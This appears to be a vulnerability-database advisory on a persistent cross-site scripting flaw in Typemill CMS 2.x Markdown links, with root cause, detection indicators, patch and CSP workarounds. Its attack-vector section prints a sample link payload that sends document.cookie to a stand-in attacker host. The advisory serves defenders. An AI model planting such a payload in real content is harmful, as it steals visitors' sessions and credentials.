Skip to main content
CVE Vulnerability Database
Vulnerability Database/CVE-2026-44401

CVE-2026-44401: Typemill CMS 2.x Persistent XSS Vulnerability

CVE-2026-44401 is a persistent cross-site scripting flaw in Typemill CMS 2.x that allows authenticated users to inject malicious JavaScript through Markdown links. This article covers technical details, impact, and mitigation.

Published:

CVE-2026-44401 Overview

CVE-2026-44401 is a persistent cross-site scripting (XSS) vulnerability [CWE-79] affecting Typemill CMS version 2.x. The flaw resides in the Markdown parser extension, which fails to sanitize href values in Markdown link syntax. Authenticated users with theme-configuration access can embed javascript: URI schemes through ParsedownExtension.php or TwigMarkdownExtension.php. The payload persists in stored content and executes when any visitor clicks the malicious link. Successful exploitation enables session cookie theft, authenticated request forgery, and credential harvesting against site visitors and administrators.

Critical Impact

Attackers with theme-configuration privileges can store JavaScript payloads that execute in any visitor's browser, compromising session integrity and enabling credential theft.

Affected Products

  • Typemill CMS 2.x (versions prior to v2.23.0)
  • ParsedownExtension.php Markdown parser component
  • TwigMarkdownExtension.php Twig integration component

Discovery Timeline

  • 2026-08-10 - CVE-2026-44401 published to NVD
  • 2026-08-11 - Last updated in NVD database

Technical Details for CVE-2026-44401

Vulnerability Analysis

The vulnerability originates in Typemill's Markdown rendering pipeline. The parser accepts Markdown link syntax of the form [text](href) and emits the href value directly into an HTML anchor tag without validating the URI scheme. This omission allows the javascript: pseudo-protocol to survive rendering. When a visitor activates the anchor, the browser evaluates the attacker-controlled script in the origin of the Typemill site. Because the payload is written to persistent content storage, every subsequent visitor is exposed until the content is removed or patched.

Root Cause

The root cause is missing URI scheme validation in ParsedownExtension.php and TwigMarkdownExtension.php. Neither component enforces an allowlist of safe schemes such as http, https, or mailto, nor do they strip dangerous schemes like javascript:, data:, or vbscript: from link targets prior to HTML emission.

Attack Vector

Exploitation requires an authenticated account with theme-configuration access, making this a post-authentication vector limited to trusted or compromised editorial roles. The attacker crafts a Markdown link such as [Click me](javascript:fetch('//attacker/'+document.cookie)) and stores it through the theme configuration interface. The stored payload is served to every subsequent visitor. User interaction (a click) is required to trigger script execution, but the persistence of the payload lowers the bar for reliable exploitation across sessions.

No verified public exploit code is included in this article. Refer to the VulnCheck Security Advisory and the GitHub PoC Repository for technical proof-of-concept details.

Detection Methods for CVE-2026-44401

Indicators of Compromise

  • Markdown content or theme configuration files containing javascript:, data:text/html, or vbscript: URI schemes inside link href attributes.
  • Rendered HTML pages served by Typemill that contain <a href="javascript:..."> elements.
  • Outbound HTTP requests from visitor browsers to unknown domains carrying document.cookie or session identifier values.
  • Unexpected modifications to theme configuration timestamps by non-administrator accounts.

Detection Strategies

  • Scan stored Markdown and theme configuration files for anchor targets that do not begin with http://, https://, /, #, or mailto:.
  • Deploy a Content Security Policy (CSP) reporting endpoint to capture script-src and inline-event-handler violations triggered by injected payloads.
  • Correlate authenticated theme-configuration write events with subsequent anomalous outbound requests from visitor sessions.

Monitoring Recommendations

  • Audit account activity for users with theme-configuration privileges and alert on rare or off-hours configuration changes.
  • Log and review all HTTP responses containing anchor tags with non-standard URI schemes.
  • Monitor web server access logs for unusual referrer patterns and short-lived sessions consistent with cookie exfiltration.

How to Mitigate CVE-2026-44401

Immediate Actions Required

  • Upgrade Typemill to version v2.23.0 or later, which contains the vendor fix.
  • Review all existing Markdown content and theme configuration entries for javascript: or other dangerous URI schemes and remove them.
  • Rotate session secrets and force re-authentication for all users after remediation to invalidate any tokens potentially exfiltrated during exposure.

Patch Information

The vendor released the fix in Typemill v2.23.0. Administrators should apply this update directly from the GitHub Project Repository and validate the patched behavior of ParsedownExtension.php and TwigMarkdownExtension.php before returning the site to production traffic.

Workarounds

  • Restrict theme-configuration privileges to a minimal set of trusted administrator accounts until the patch is applied.
  • Deploy a strict Content Security Policy that blocks inline script execution and javascript: URIs, for example: Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'.
  • Place the Typemill instance behind a web application firewall (WAF) rule that blocks responses containing href="javascript: patterns until remediation is complete.
bash
# Example CSP header to block javascript: URIs in Nginx
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'; frame-ancestors 'self';" always;

Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.

Default Legacy - Prefooter | Experience the World’s Most Advanced Cybersecurity Platform

Experience the Most Advanced Cybersecurity Platform

See how the world’s most intelligent, autonomous cybersecurity platform can protect your organization today and into the future.